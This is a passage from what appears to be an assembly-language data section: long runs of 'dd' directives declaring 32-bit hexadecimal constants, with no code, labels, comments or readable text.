40B04659h, 1C32C07Ch, 0ECA09EFFh dd 20DD5105h, 0FE7A527Eh, 8BD43070h, 0F0950639h, 6B4B5FD5h dd 0A40168CFh, 819837E1h, 6929339Fh, 801EAABh, 0C770C9AAh dd 87E6AD9h, 0EE47F75Eh, 952FA543h, 78C3ACF1h, 14D678F9h dd 0C89F8C40h, 0D9B950Bh, 9A227FDAh, 43986DD0h, 9335C57Ah dd 345C118Eh, 6CCEB47Fh, 6ED93CCCh, 3123B92h, 7B1CB618h dd 4ABCC6B3h, 42525680h, 3C31EDA8h, 62D7BE9Ch, 0BBD6D5ABh dd 0E697BF97h, 0A829F903h, 0DF9E6898h, 0E39D54D6h, 69FA30Bh dd 3D2EBD9Fh, 0D647E568h, 24EDC80Fh, 4AF2A86h, 0B49CC68Ah dd 0BFEF9B18h, 0EB46E8ACh, 0E64DAAA8h, 6A74416h, 3C8F74EFh dd 129B455Ah, 57A26169h, 41C307F6h, 40D57BA6h, 0B1B202E1h dd 0E416518Ah, 28B39047h, 97550C7h, 0F234B10Dh, 0F656E470h dd 26DA044Dh, 0E6A34444h, 2A3156C0h, 714FDB0h, 42628020h dd 70041E9Bh, 0E35ACD73h, 95145DFEh, 0CB2C0B0Ch, 29F9BD2Bh dd 33E7648Ch, 0B9428A02h, 0B9945B6Fh, 0E59BA751h, 0F297DF6Bh dd 8CE18335h, 0A417330h, 31FA39B1h, 7C173E0Bh, 0AE587307h dd 38E1F7B9h, 75DB7DC9h, 0F0ACA59h, 0E315E543h, 6255A951h dd 0AD511266h, 0FECC6416h, 0BC04E24Dh, 0ADE74DCBh, 0A57CAE30h dd 31978732h, 0C39886B2h, 71848003h, 0CDBBA63Bh, 3664A31Dh dd 71DC5D11h, 9121637h, 5BECFD23h, 0F143CD4Dh, 0E1A4D4BBh dd 37ACBE51h, 1A2C04h, 9FA08856h, 960EFC4Ch, 0D66F2F00h dd 2679A118h, 523EA876h, 4F01F722h, 36E45405h, 54C78C3Ch dd 56DF15DCh, 0AA2E28CAh, 1FEE2B0Fh, 6FEACC87h, 31AFBAAh dd 39A30782h, 0A371CB70h, 8EC4741Bh, 0C864CF69h, 4C8A930Fh dd 6DB63E95h, 36F5EBCDh, 817BE199h, 0FEB62C12h, 3C110822h dd 0F32AEF7Fh, 8F262BF3h, 8A6E8142h, 0F52ABA43h, 0BAAC73FBh dd 0CEB7E45Bh, 0F2F865A5h, 9763C879h, 0CC306701h, 0D61996DAh dd 70F809F4h, 1EE212B0h, 6DE05515h, 2AD118D1h, 3F0777C5h dd 0B57E1C4Fh, 8FDD4391h, 0DE83678Dh, 308331Fh, 2115430h dd 5613854Eh, 0B7037EE0h, 55DEE52Ch, 3B3A0788h, 80D641D4h dd 17DAC516h, 6020EC75h, 7DD137D1h, 581EB35Ch, 1EEBAFB6h dd 59ECF14Eh, 7083B929h, 9B7F4C88h, 0D280FFB1h, 0AC1C8273h dd 4FE45E45h, 5D2B1987h, 0EA48C113h, 0FFA1B6Eh, 0EC733BD7h dd 0E4C4682Fh, 0E5B56B85h, 7285FAF0h, 85B87D93h, 0F46A890h dd 42F538D8h, 77C6F4Bh, 2BEB099Eh, 0DC9A5215h, 0B54FEB0Bh dd 22E2FE99h, 1F470AC3h dd 0D7857923h, 6D9BEC70h, 0E85700AAh, 0B2C6947Fh, 6EB207C5h dd 5D682B07h, 3D012106h, 43D49920h, 49427CF9h, 51BF6D54h dd 38958734h, 0BE7B35FEh, 0F03B2DF4h, 0B37B3202h, 74D742F5h dd 0C6AC75E4h, 5307D844h, 0EF9C2062h, 0EF1F9476h, 0A962B276h dd 1AFC181Bh, 66800FA5h, 4EE7A467h, 0EB65B1E5h, 53090BAAh dd 75A1A23Ch, 0C1F4A0D1h, 0C64BC033h, 0C48C15C0h, 0B5C1C662h dd 0DDB7932Ch, 20EC5DF7h, 10D3A0FBh, 0C81735CFh, 2CC7246Ah dd 0C74F2A0h, 7D686ECDh, 0BC15C19Ah, 0EB5A18C5h, 3F2DC022h dd 0FE0097Bh, 446B528h, 0E5A27B37h, 0D575E303h, 0A06F7061h dd 0F6839935h, 5209418Dh, 67E7BD58h, 0ECA10AF3h, 0CCEA8434h dd 9202AE9Fh, 609CE22Eh, 34371FBAh, 0A82F10DEh, 0DA32FF86h dd 1A4F5CA5h, 0DCA0659Bh, 0A3E37334h, 5FEB6D5Eh, 23FF4FD5h dd 958B30B3h, 0FAFD5E3Ah, 4DC5B43Fh, 0CD8A0BEFh, 43CDD1FAh dd 0A40ACA2Ch, 3CC2B9ACh, 0B447E98Dh, 0E0413722h, 6FA718FDh dd 0B5B8F40h, 0D85C4112h, 8278F65Fh, 0DC179B5Bh, 7A9ECA1Eh dd 62DC6760h, 2DD0A656h, 9F1D7D39h, 44CDEF1Fh, 22B7A834h dd 99B29651h, 7D9DC8EEh, 69CE6B89h, 6603E764h, 977A1C0Bh dd 5BFC2AEFh, 57AE46CEh, 6565B75Ch, 418B1CBCh, 38D40471h dd 95134CE6h, 0DB36E098h, 1734AB7Dh, 9FD5C31Dh, 2BAD5510h dd 887ADA85h, 0AB0AD47Ch, 0F0B241Fh, 0ED6D9AA4h, 43A7010h dd 1BB040CEh, 0A63AB66Ah, 44F071DDh, 0C2B329AFh, 1AEE46C6h dd 2ED52DEAh, 8A67F57Eh, 593C9E72h, 0C0CB5090h, 9C6806B9h dd 7F728B6Eh, 1BBB138Ch, 0AFD7C525h, 0C3680EB1h, 0FD13FB70h dd 0C1639901h, 48F92B00h, 4C02384Eh, 14B839D8h, 0AD46C76Ah dd 73F88F3Eh, 4AD51DFEh, 450DBEBEh, 0D37E1CB8h, 0BC6177ADh dd 0CD16F332h, 0B01CE41Ah, 856D9B59h, 0EA56FC6Bh, 8A35F456h dd 649A2ECBh, 0E110F82Eh, 0CB1E043Ch, 0B7198675h, 77C82CCBh dd 38D372EBh, 43B425B4h, 947302B7h, 8064E27Eh, 223C42CCh dd 0EA73C1D4h, 6FC55D18h, 28B338BBh, 0B393B18Fh, 0DB00F098h dd 2819FF60h, 7CC18A30h, 5EE5992h, 0ECF15D92h, 0BE09DC2Bh dd 71CE6C00h, 72A8DC83h, 2696058Ah, 65E349AEh, 0DB5D1FAEh dd 0B12D1C34h, 3ED17EC1h, 18E85EA5h, 0AE7573EAh, 0CA46799h dd 0F71BCD57h, 28C6BD04h, 0B02EC29Bh, 0B737AE68h, 0AE38985Bh dd 9BCDC066h, 26B00DE6h, 0C191AB89h, 0BF0C9B51h, 0DB53C02Eh dd 0BB1BE172h, 0C0494D7h, 0C2B436DAh, 5CFE74DEh, 76964588h dd 0BE5413D5h, 0A8B7D595h, 7D7AB006h, 0DA731E9h, 362C172Bh dd 0E19E36B6h, 0E8779426h, 2E2E901Eh, 77AD9BDBh, 92B72199h dd 0A9AD498Ah, 25C59E2Fh, 20DE2BD6h, 7998EFA2h, 568C3A9Ah dd 6FFA7A20h, 1DCC2DA5h, 9C948E8h, 8A463EE1h, 34C85204h dd 8D10DA38h, 0BA33D175h, 0AFD6B058h, 0A41B8403h, 8820E85Bh dd 66C45A1Ch, 0F79E22CCh, 9A91E7B9h, 3CB66EAh, 0ACF93A3h dd 3EDC61FAh, 7DDD21E1h, 0DEB4E485h, 5F118A9Fh, 40D216F9h dd 49814B91h, 49A24FA4h, 48F578F5h, 114EEA20h, 6FFD12F0h dd 5A8F52ACh, 70DCBEAAh, 73C40B87h, 0F62A3DE6h, 14B1D910h dd 0AF71F86Dh, 605EFB4Eh, 27E95DBDh, 67D93EB6h, 487C0BBBh dd 0DA982812h, 0EC5D2023h, 0F85FBC33h, 9D68E712h, 10A5A120h dd 0F27F239Bh, 952BAC07h, 8F7D167Fh, 0E20F815Ah, 6C9C442Ch dd 50AB2C8Ah, 0F892359Fh, 0D692F64Dh, 9B4A954h, 0ED432832h dd 0D5659574h, 9D83456Eh, 0F179FFA4h, 0E0CBF1Dh, 0A35628B3h dd 0DD76ED0h, 14E056ACh, 0AB51DBEDh, 65D44410h, 958822C5h dd 0E3708274h, 4C0FE87Dh, 2EE14A38h, 7CDE9C04h, 7CEF499Ch dd 2FBA05C6h, 50D2EC40h, 7595E9C2h, 0E507985Dh, 4CA85B13h dd 16EA5CDEh, 1DAB9903h, 8D593626h, 47E4F851h, 0AE9B2885h dd 6DCCA542h, 0A6003A83h, 79152CF2h, 49A704FDh, 0F378E5C3h dd 0DC37A419h, 3FB6903Dh, 0B36C193h, 0E167B147h, 1CCEBAAFh dd 73CBE66Fh, 70FE7EE1h, 5CC00BFBh, 63F01898h, 8EB46CFDh dd 0B8AE1582h, 0B26829DDh, 3B464C30h, 0E6AC5ABBh, 0E11EE34Fh dd 41666464h, 7E864F0Bh, 7DED71D1h, 6FA4881h, 2A44ED3h dd 0D852D495h, 5F308F40h, 0B3E97497h, 88478440h, 8334974Dh dd 903A3D91h, 289E69E4h, 0B354ACF3h, 0D010E791h, 65562C02h dd 180CB806h, 72C664EBh, 78E35DAFh, 9E87983h, 24CF43ACh dd 2F0D0496h, 5CEB6B2Dh, 0DF845F5h, 91C216F5h, 0A4A2F444h dd 0C736906Eh, 3E2FDD34h, 6FE5522Fh, 43F272F3h, 2D262ABFh dd 0A943CF89h, 6AD8B899h, 0A789C971h, 0E160348Fh, 8D13940Ch dd 5AFB5ACCh, 0BCAEE2C5h, 39D90ED0h, 0CD8331BFh, 0AA3BE773h dd 46BA59E6h, 0B8E92C7Bh, 443FA893h, 1FF165C5h, 6C59C32Eh dd 0BAC23B8Ch, 0BE61DA4Eh, 0F648E662h, 3DE0DF4Dh, 299C7B03h dd 0F09A3AC2h, 924C8476h, 8CBCA382h, 6933E193h, 0EC6BD944h dd 6488EA78h, 82991CCEh, 6F13891Bh, 136111EFh, 7F301735h dd 238B17DAh, 701E8C54h, 12C5719Fh, 748A66A0h, 5420FB91h dd 0E15ED3F4h, 0AE47BF2Bh, 0C1372357h, 2A2E1F05h, 77FA7B9Fh dd 0D474E800h, 5EA90F17h, 749976EAh, 0CFC06182h, 53977F0Dh dd 44A25CDAh, 1E3CC57Ah, 0D8C9665Ch, 0F96BFA6Fh, 2509F161h dd 0F45F372Ah, 0BEE160A1h, 0A502C98Ah, 0AF14931Eh, 4927A551h dd 7EEE1202h, 4D056374h, 0CD56BCBh, 2F66BD1h, 0EC6D1CC8h dd 0AA04E410h, 0DF5F07BBh, 2887B60Dh, 8D76F372h, 0FF9956Fh dd 0DC7C06CFh, 4DFB3116h, 72F07215h, 259E7DE6h, 86279056h dd 0B1453A14h, 9DB35E11h, 5D9E67C1h, 857315CFh, 0B09946ECh dd 0D15F27D8h, 4DF1653Fh, 6BDD3CBFh, 5B95A36Dh, 5EB1ABADh dd 6DD2E80h, 1B46AF94h, 6DD200F9h, 7DBE1BFEh, 9D94C5CFh dd 0D021DF53h, 0B279DE63h, 0C209FA59h, 1ECF9242h, 0B8085435h dd 0BECA194Eh, 827FFD59h, 9D71F503h, 0C435E545h, 0B8CC8F2Fh dd 0E19B2C08h, 0F075816Eh, 8409DB4Bh, 4621DF37h, 0AC4A8856h dd 0F9C0B33Eh, 0F1AE10C5h, 6A5B311Bh, 251ABC03h, 67943C95h dd 447D06ADh, 0B43DA600h, 493C9B5Bh, 80FA7B21h, 0A348B619h dd 0D12ED019h, 53E5AA42h, 8153F2F4h, 3B5FE71Ch, 6FD848C8h dd 0F016243Ah, 0BE628F15h, 9D46FB8Bh, 0C25DE762h, 10E59B74h dd 9465EBD0h, 443CF540h, 0F274D9A3h, 0C629C15h, 42A0DE16h dd 0AE14D673h, 65D874C1h, 579046FCh, 1D25B79Ch, 0C40D20D2h dd 922E0A3Bh, 4FF201F5h, 0B92586EBh, 71EECC1Ch, 0BFE8A1B8h dd 82F95091h, 0F3A048EFh, 0F8569931h, 0ED030C30h, 0CA63B68Ah dd 8F888E00h, 5BE5AB59h, 8F97B99h, 3ED464F5h, 584E19BBh dd 3C32C2F6h, 0B9903CBDh, 76F41AB6h, 45BE26C4h, 34CA3AA9h dd 0C9980Eh, 0CA67AAFFh, 0AF09EE14h, 7A23DC44h, 98749CBh dd 0D5AAF98Fh, 28CCE54h, 0C676E610h, 1315C921h, 0CC718E39h dd 0FE5D542Eh, 3D0CE37Eh, 7E6F6D6h, 0FB42EEEh, 83E4A25h dd 4ACD73D2h, 34F3BF82h, 26E5A568h, 38FFA366h, 4219D174h dd 6C3BF78Ah, 8E3294D0h, 8655E538h, 0F88F23F6h, 55BFB124h dd 0C3A10EF4h, 492B886Ah, 44BB070Eh, 4E281DAFh, 5FC263D5h dd 8DED98E1h, 3FD6E52h, 39AF2096h, 0D04DF73Ch, 28E5D371h dd 85366E3Ch, 17B85EFBh, 21E187BFh, 0A9B45276h, 6A1CC17Fh dd 0C45A2FB9h, 0F0389D73h, 20D78B3Eh, 0BA01496Ch, 0E81E5472h dd 7CBB07B2h, 7EBDFD30h dd 70B7FB3Eh, 8AC1194Ch, 0D4E33F72h, 0E6354598h, 5B6E83D6h dd 0BDE6D005h, 0C1F72D5Bh, 0C7200E8Bh, 7152B499h, 0C82C3217h dd 4CA79FE6h, 1E096554h, 0D8CB3B22h, 9285F9E8h, 0C4CFD79Eh dd 9AD0063Ch, 0E091564h, 80B0B02h, 2050908h, 340F071Eh dd 0C6D12D3Ch, 90E3F3CAh, 4A5DB180h, 0C375F76h, 77ADDBE4h dd 0CDEA1041h, 4F6C8EAFh, 0C1E6042Dh, 3B508ABBh, 85B2E801h dd 0D7043657h, 93E6CA5h, 25BA01D3h, 0AA4B7A64h, 5BA435D4h dd 0D831A9FAh, 802CC244h, 1F436E9Bh, 2977E10Fh, 0B655F5E6h dd 0B76F292Ah, 52001002h, 10A0DA9Ch, 0A999092Dh, 0BB3C3E02h dd 4D8E171h, 66F37DF9h, 6BED76FEh, 50AFD214h, 0BE7828CDh dd 0D4712BD2h, 28828B5Ah, 24CE7506h, 2316CF73h, 0E0AAA0DCh dd 18DC99F1h, 8A1D9D43h, 4AF737D4h, 608E6CD4h, 0E1BC3392h dd 88DEBE6Ah, 4811751Dh, 0B95305BFh, 0E344603h, 0F6972B46h dd 55ECCAB8h, 0E88F50B6h, 0FF87B078h, 775D829h, 0D54FCB83h dd 0A89B1E30h, 58D8BDA3h, 7198FA36h, 0E3682233h, 0F75749ADh dd 7F48F601h, 398235B5h, 0E35AD921h, 1D52C305h, 1E6B03EFh dd 0DB780ED7h, 0EA702E4Bh, 5316C0E2h, 0C70188C1h, 49A1657Dh dd 6966686h, 0E39658D2h, 0F85C383Bh, 0C328FC6Ah, 50019809h dd 5E1D13A5h, 31A191CEh, 0F95DC37Bh, 0E63ED7B9h, 84A8765Fh dd 39E2AA25h, 0A660B7C5h, 0EB738170h, 0F462BF6Ch, 116FE05Dh dd 0BE7C14ECh, 0CB0B8F9h, 0C0713925h, 9322E77h, 56C016FAh dd 5445ADDFh, 9070B056h, 0B02EEF6Ah, 0C61F64FBh, 274D278Ah dd 1787165Eh, 1BE61FE3h, 32D7298Dh, 379D0901h, 0FD55F94Bh dd 75C7C11h, 66DF61C0h, 6D0ACFB8h, 0D8B48DAAh, 660DCD7Bh dd 0BB865FAFh, 77C6EC76h, 0AD2423E4h, 0B4EE2BE7h, 0B6044DD8h dd 0FCAD2E15h, 0AEB09249h, 0FB3BC6D1h, 0B08FEB73h, 50F428E9h dd 0B6ABA504h, 0D965ED4Fh, 0BAE568Ch, 6AD9D6A0h, 6579E37Fh dd 6E8779D0h, 0E2DBF9A6h, 23875F1Dh, 65A9651Dh, 7D1BB60Fh dd 35033436h, 74A40875h, 0C52A8866h, 2EA2714Ah, 0FCC995C7h dd 0E15F91FAh, 9D0AB167h, 607EF4E2h, 222EDFFDh, 95315637h dd 18205264h, 4C26FE7Ah, 12A65DB8h, 0F3341306h, 95B852B2h dd 48A27EA1h, 3C203B10h, 1FC7ADD2h, 92A24955h, 45349379h dd 0ABBE2066h, 4BB25FFFh, 7F1D6610h, 95679D56h, 6D8F4A57h dd 60BC79A1h, 0BF472E40h, 0F61F5C06h, 7220C13Eh, 0ED929513h dd 7C808878h, 0F193871h, 93884611h, 0CB41C451h, 0BFF300EDh dd 0B34F1193h, 842C8BD2h, 0CA4726E2h, 5475341Eh, 28E5F9A9h dd 0E76DFAAh, 38199BF1h, 0B168809Ah, 6BA87A48h, 47A5669Fh dd 481590F6h, 1622D8EEh, 1C3AF059h, 15183A7Fh, 31A393C0h dd 0CCB0035Ah, 0C2C240EAh, 32D3043Fh, 62DB2DCCh, 24A19EA4h dd 0DD73EC78h, 7DC43F0Fh, 461C04FFh, 0D46941F7h, 3A8DA728h dd 850C56B2h, 6325E785h, 67F58735h, 0EF12DA89h, 0A0BA5F69h dd 7F3FD0BBh, 0F3597D3h, 0B65E1C60h, 4CD604CAh, 0DBAE67EAh dd 704D62Ah, 8B4CA667h, 7A6AECBh, 8FD0101Eh, 55378FF1h dd 0CD5362B8h, 0AB33733h, 9114C9Dh, 0AEF643C5h, 4C94548Ah dd 0A02A670Fh, 6CD8C8B0h, 0DB5D59F3h, 63A8842Eh, 8768F6A9h dd 0C340FFC3h, 3AAC03A4h, 0F65FD674h, 0F504973Bh, 9B4CCEEEh dd 8C29E3D5h, 0F505AE75h, 8EAE0AFh, 2D2FB984h, 8C44BA7Fh dd 0D562BE19h, 0A1E0A33Fh, 0F062BECDh, 4ADF5D21h, 807E209Ah dd 933DAC61h, 0A9857FA1h, 0A24E8C68h, 24CF8A14h, 8165F86h dd 984C44E1h, 1A8F85E2h, 5049DC79h, 29D81CD5h, 21BC1A3h dd 74454D05h, 88A349D8h, 0DBF4B7A6h, 0EA819F3Bh, 0ECBB1F5h dd 7210C979h, 0A87DF692h, 6E98F07Dh, 1264CBBFh, 735C810h dd 4A5299C5h, 7D9BE7A9h, 0D4AE554h, 7BD2638Eh, 76573CC1h dd 0C049E944h, 2430819h, 0C5D20729h, 0EB08628h, 95C97F46h dd 8DA44563h, 0A990DAE3h, 9030062h, 0B9FB231Dh, 2B73783Ch dd 46940CDCh, 22ED1250h, 0F10232A5h, 0CF6F3FB7h, 67DA2285h dd 889996B9h, 2F6553ADh, 0F6B83FF9h, 3530FB7Bh, 0A40DAFC3h dd 9C18C9E8h, 358BD50Fh, 0CAD093C3h, 5C9218A3h, 396F0094h dd 0BAA3E00Bh, 0EBB18597h, 421B58DBh, 0E0BC45E4h, 4E04CF27h dd 4F00A61Ch, 69E183DAh, 8AAD2DA4h, 64CAE8A2h, 0B5496156h dd 22E99E87h, 0C8DC5DE1h, 0A9ADCAEh, 77A58297h, 0F72D3F62h dd 0D75B13E1h, 1460AAF2h, 99B50D00h, 80434064h, 13F0D06h dd 6A3A324Ah, 0AE5D1F8Fh, 20540EC2h, 5E4BD7D7h, 8725376Bh dd 1A882547h, 842198A4h, 0B47402FCh, 52E19A61h, 3D518DDDh dd 0CFA3E3A9h, 18AF3670h, 0C83D8C28h, 0D1CEE48Ah, 0BB077F6h dd 0A7753E4Dh, 0A0241226h, 44FA79B8h, 34DD2B32h, 6B458604h dd 0A0C35203h, 11263AFh, 4B16C34Eh, 91A85064h, 5808BBEDh dd 0DC8D72Eh, 490ACA45h, 7A2942C2h, 0C24B6F12h, 65B7B608h dd 0DFCC1E0Ch, 0EB666E96h, 0CD3FBEA1h, 0C06A1825h, 37CDB286h dd 56381775h, 14E12A64h, 0B8D071BBh, 0B9E33613h, 5904343Eh dd 0ADED3B47h, 9225EA28h, 0C725898Fh, 64C3D09Eh, 98E6A8A0h dd 59357704h, 2097E18Ch, 5E763FABh, 0C4E8A28Ch, 8F33B0E6h dd 0E8A013A5h, 63E5C5D7h, 1DEF7AA3h, 0D2841B11h, 47301727h dd 0FABE7E6Dh, 5D4AE45h, 5488894Dh, 0E5D7A687h, 0FE0FFD40h dd 1B5F1EB8h, 4AEA0493h, 92AAEED8h, 440506E7h, 6E47CC87h dd 789272D5h, 0ABD6DB6Ch, 26E51A06h, 269F69D0h, 60C5E27Ah dd 0BEC26A8Bh, 2ABBE537h, 0D4986916h, 27DB31FAh, 0A808BE50h dd 0E6DF86E2h, 426A14CBh, 211E75B5h, 6D7F73CFh, 0D0192513h dd 4CE919FEh, 0BFC14A0Bh, 0C472957Eh, 55D005F9h, 891F8ADEh dd 150BD15Bh, 1EFAD25Dh, 0A79B938Eh, 478B397Bh, 0C78EB071h dd 0C6DE5A82h, 0DCFFF7D9h, 0CB071853h, 611F11DAh, 38FC3B7Fh dd 58D9467Fh, 0A96B71A3h, 0EDC97CC6h, 1C9BC892h, 5327ED48h dd 6E29A3A8h, 751C80F9h, 613A8AB0h, 0D95A41E3h, 810B4911h dd 34808F83h, 665AC172h, 7905D4DAh, 23AC31ABh, 0C198219h dd 0CC4F1900h, 64DE4647h, 70BC204Ah, 95679BB6h, 0A6C5F312h dd 0E9AFBFE4h, 69F46E58h, 42D400C0h, 5CC743Ch, 607F6CF5h dd 67FDF3BDh, 67E72390h, 0C837DACEh, 92610718h, 9493BD82h dd 2BDFC8CEh, 337734FCh, 688A7A81h, 28F619CBh, 6F80CEABh dd 0B08B9A2Dh, 584AA242h, 896B2469h, 0DA262F0Dh, 77D25318h dd 48826FA1h, 0BE5E1DB2h, 33A17CEDh, 7DFD03FFh, 45DB0A6Ah dd 944871h, 3F810B5Dh, 9F110FDh, 4DF5A7B9h, 75C0A4DDh dd 0B28960EBh, 0A78614F4h, 0B1E3555Fh, 5D9F39D7h, 91602A86h dd 0E8EF3102h, 0C14AC334h, 28E2E312h, 886A6315h, 126326FFh dd 5645FE22h, 3AE3A6B6h, 0C6BA120Eh, 4713E5Ah, 0D413D3BEh dd 0F96758C1h, 55254EEAh, 0FAB37598h, 8C78D5B0h, 0BF0AA154h dd 774F0A72h, 0CFD0AD95h, 9DCA3A36h, 0CE34D41Ch, 0C523310Ch dd 0C46EFAC3h, 0D11D3A08h, 0DAA1DC7Fh, 0A3715E4Bh, 773AEAA0h dd 0A047F5ABh, 373BC63Eh, 5D577064h, 18AEF270h, 0E34BE7DEh dd 9D39C501h, 0F53BA2A4h, 0B8B606F9h, 0B2BD9F69h, 0A68F1F96h dd 915F0C5Eh, 17532719h, 0D994780Dh, 990F4989h, 0B77780F2h dd 4DADDD7Dh, 60C2ADB2h, 0AAE1AD2Bh, 120A5EECh, 0AF572ECBh dd 0D5B47E6Dh, 0B2E426EBh, 0F448D435h, 0D5AC0404h, 6E11643h dd 12AA945Eh, 4FF0D18Eh dd 3D9876E2h, 0AF32908Fh, 7CFD2A38h, 82ECBBA1h, 0CB660DC1h dd 88830D94h, 0DA2569D4h, 0FE774B09h, 44CBE2CAh, 0E4374909h dd 5DA111AFh, 467F8156h, 3373216Bh, 0AF7EF3E4h, 661C9572h dd 0F291F9BAh, 0C311A456h, 41E8A14Eh, 85AD43C3h, 3D773ACEh dd 7E43EC1Dh, 0BB36FC14h, 3BEEAC04h, 1F6D5B10h, 4BC7AFB7h dd 0A43D4E15h, 0A57E2014h, 11934283h, 4EF7AC41h, 0AFD19331h dd 0B6D7796Bh, 5CF5D5Fh, 3098B009h, 51B8ED59h, 0BFF95AF0h dd 0C56200F8h, 0F8313E7Ch, 4A229CBEh, 0DF8604ACh, 0EFE05F2Dh dd 0EADF5D6Eh, 0D145D23h, 52931A92h, 0D0E8CB23h, 0A1DA3608h dd 0B07D86F5h, 0DBA4D911h, 0F110CC7Ah, 0EF129FE5h, 0D1D8D4ADh dd 0C3220008h, 0A191C7FCh, 1CDDF882h, 0D9F59DBh, 8AC71E1Bh dd 0E782DE11h, 0BB44EADFh, 0A98CA06Dh, 1A91121Bh, 430937E6h dd 0AFC0D654h, 0A23CB7BEh, 4725BE8Fh, 0AFF35559h, 31E525Ah dd 3AF29BEEh, 4C1B0BC4h, 3F96803Ah, 29683835h, 0A92150A8h dd 0FD9B6DBCh, 0A63874F8h, 3FFDB329h, 0D98706A0h, 260EE434h dd 93313A0Eh, 6ABA4BB5h, 0A1E074A8h, 1E84867Ch, 17CA90D1h dd 39365C5Eh, 8FBDD3D1h, 25619016h, 0AE47FB8Ah, 0F662BD3h dd 5B2B186Dh, 0E25983ECh, 0C29B5CA7h, 0CF971FEEh, 7B3DE459h dd 79BEF070h, 0E1BC76B3h, 943E1789h, 0D01EE876h, 22419DCEh dd 6FF77474h, 86C32097h, 3A4088ADh, 7110DA5Bh, 8E35CBE7h dd 0B43D4DD2h, 0F7B465C9h, 0D42663F0h, 3B4FFDC3h, 9B7E38AAh dd 5A5C4F5Ah, 0B8B5E7D6h, 3DB261F2h, 43720712h, 9942F871h dd 905D9D04h, 76A8D5AEh, 97B567BEh, 78A5F736h, 0C39128B1h dd 8720094Ah, 31930AB2h, 0AD1FFA97h, 83FEBBF3h, 8A33C9A6h dd 0E649E09Ah, 0B319C222h, 7660FFEDh, 0CF8B64C5h, 0B6848A9Eh dd 0DC70919Ah, 8C3A39FBh, 0D75FB04Eh, 4222C46Ch, 65B6EC09h dd 96E24F30h, 0A79B1B14h, 9BEF4h, 0A8C20F22h, 9B84F050h dd 35CF472Ah, 8D92A7ECh, 0C68899Ch, 8A4A98EAh, 31139703h dd 4DA79C6Eh, 0E63B39D3h, 0A2E390FAh, 3F498229h, 0D32999A9h dd 0CC9BEACCh, 0D6EF0ED8h, 14CE278Bh, 5DAFBB10h, 94AA8D8Fh dd 891BF8BCh, 0C03FB8D1h, 0DA094D6Bh, 0A55AE326h, 4BE02F14h dd 85BA43CDh, 7C246A4Fh, 8E28138Eh, 2928DF65h, 0CE5CD66Dh dd 0A6DA92E5h, 0C17E34F4h, 0F8BAB2BBh, 57862009h, 0B7A4E2D4h dd 360A6BFCh, 3C15116Eh, 3A831D6Ah, 4FBF64F6h, 0B03D0EDEh dd 2C9A7609h, 71D0A471h, 713205BBh, 0FAB07E31h, 2A6AC259h dd 9CC9C399h, 0A702D415h, 73BD6431h, 51A461EEh, 4833350Ah dd 64740756h, 68E5F157h, 74CB5121h, 0CEC0050Fh, 0EA70EA67h dd 342F6EF4h, 0F6EFAC65h, 95724CC6h, 8F48C354h, 683C83CCh dd 32EE0036h, 0C5049700h, 4F02D788h, 0D98D88A0h, 82F51710h dd 0F2971845h, 88DCEA49h, 0FB8202ECh, 9BD36F34h, 22E52209h dd 7DE8C1FDh, 61E0EB2Dh, 27512EF1h, 0C666AA73h, 91685DD8h dd 0D7DA2004h, 473C32EAh, 51A05056h, 4E9BCFEh, 0DF72819Ch dd 0CD80AE7Bh, 55F3EB06h, 9CA99754h, 0C4872A5Eh, 4C94531Eh dd 6C50C0B0h, 6C4B0AC3h, 3755C719h, 630C011h, 0FC4D30F9h dd 9C13DBB7h, 7074A95Bh, 91BA7CFBh, 7D70AB8Ch, 72D424DBh dd 4C6A018Ah, 6C2A9D9Eh, 0A03572CFh, 66F475Ch, 69B9067Eh dd 59125AC2h, 0C95B9B2Fh, 5D9C96E4h, 3FC114DEh, 0CA06E2A1h dd 550AB048h, 48FE05E7h, 3BD415DBh, 0FEBD7Dh, 3FA913ADh dd 58E05125h, 0FB3FF77Eh, 0B123E34Eh, 757FB67Ah, 8244095Dh dd 0DB298F71h, 7ACF689Ah, 887CC570h, 8FF7C835h, 0E2F83E67h dd 0B64428FDh, 7E22D0A9h, 61EB2F55h, 14BEBFC1h, 1917DD80h dd 67F401CDh, 80C8922Dh, 89475AA8h, 81C24CACh, 7B47F6DFh dd 0EB3C716Ah, 192E35B7h, 0D0FB9531h, 16A79BADh, 329B16DDh dd 0EC4EF6F8h, 2B011F17h, 0A5DBB7F0h, 5E2C66C1h, 0BD86328Ah dd 2A424FFCh, 23365E8h, 0BEA5DB45h, 3942B862h, 9BF9958h dd 1A8569D8h, 0ACA51ACh, 0EE81DE67h, 37338C34h, 3A333254h dd 1878EA53h, 37DBCCE4h, 0CBA06FAEh, 0EC3E9814h, 23916E11h dd 6D0254Ah, 60D35D6Dh, 274AA930h, 0CED921D7h, 9F8477DAh dd 8EC560A9h, 0A262D135h, 2BBB9356h, 17BCAA7Eh, 0AF9F5DC5h dd 0C24903C8h, 7DBD410Bh, 5816F4B2h, 3DE5DAF6h, 8F40295Ah dd 6C6E62A9h, 49258576h, 14847D29h, 5CC7F4ECh, 0D1F03476h dd 0A1336677h, 45076DC2h, 28CF6DEBh, 8127EC37h, 0C6B87BF9h dd 26D214Fh, 1AF6EAh, 2FE33DF5h, 3ACA1751h, 0B63E17EDh dd 9023F062h, 0DA36F56h, 6C5CF05h, 5BDD6732h, 0B7515B1Dh dd 0D1A784FEh, 0A75D7AE8h, 1B36A1D4h, 0F759E64Ch, 0B333B3CEh dd 5905A2E7h, 1BE6EFD6h, 111BB424h, 0BBE92541h, 36D9CFD7h dd 9BC74AA1h, 9A0BCD27h, 0C64FC664h, 69AE7078h, 588BEFA9h dd 93123A97h, 6970EDDBh, 921717D6h, 0BDE4325Ah, 3F44F6D7h dd 14C3B87Bh, 9471BC80h, 0F2BCB209h, 0AC9ED426h, 0BFFF8ECEh dd 2BE2A18Eh, 884922E3h, 0FD84BB54h, 0EA66F417h, 0C333B53Bh dd 6040F3E7h, 59328A9Ch, 0B195A879h, 0C12EDA85h, 6D04A26Ch dd 94F2A85Ch, 0EBF14D89h, 33175B6h, 0FAC805A6h, 13D35286h dd 0F8B69089h, 824FEE48h, 0EACC62AAh, 0EB94D10Ch, 9E6B4ACAh dd 3D00D75Eh, 0F3BF0225h, 0AA2F63ACh, 0CAF2A739h, 0D5FCE476h dd 7544D6B2h, 0AEE52DABh, 0D6F8473Bh, 0CC24098h, 33FB00DFh dd 0C27F961Ah, 21C44160h, 5BA163E1h, 7CD8C5ACh, 0D2CF4917h dd 28875BCCh, 86B794DBh, 0E6DB86A1h, 0BDAE0B4Fh, 0CC435DAFh dd 0A0EADF7h, 311029E3h, 0B58DBD80h, 